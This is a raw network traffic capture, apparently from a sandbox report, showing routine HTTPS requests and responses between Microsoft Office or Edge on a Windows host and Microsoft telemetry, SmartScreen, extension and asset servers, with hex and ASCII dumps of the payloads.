2024-11-21 23:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231151Z-15b8b599d88g5tp8hC1TEByx6w00000000kg0000000075v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:51 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231151Z-178bfbc474bbcwv4hC1NYCypys00000001vg0000000108fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:51 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231151Z-178bfbc474bv587zhC1NYCny5w000000023g000000000vyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:51 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:52 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231152Z-174c587ffdfmrvb9hC1TEBtn3800000000g000000000fufq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49859	4.153.57.10	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoicWdZYmtmZURocVpROE44UDhGYXBzUT09IiwgImhhc2giOiJtR1hTVXBDUUdrZz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 23:11:52 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 23:11:52 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-21 23:11:52 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49858	152.195.19.97	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	624	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732835507&P2=404&P3=2&P4=Mwq2%2b8Y%2bYVI0CE8WReY8CCVacTHQheQC32%2bBdWdTgVn3kO8GOy4%2fF%2biFOxKQlhB%2bstiDFmwjhvSfipk1UkmiRw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: y+MTFQ7Lgi+/YNXxD0hpA+ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:52 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12157243 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 21 Nov 2024 23:11:52 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-21 23:11:52 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231152Z-178bfbc474bmqmgjhC1NYCy16c000000025000000000pg9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:52 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49855	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:52 UTC	583	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: 513ce7d5-301e-006f-725a-3cc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231152Z-178bfbc474bbcwv4hC1NYCypys00000001y000000000pne8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:52 UTC	15801	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-21 23:11:52 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-21 23:11:53 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49856	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
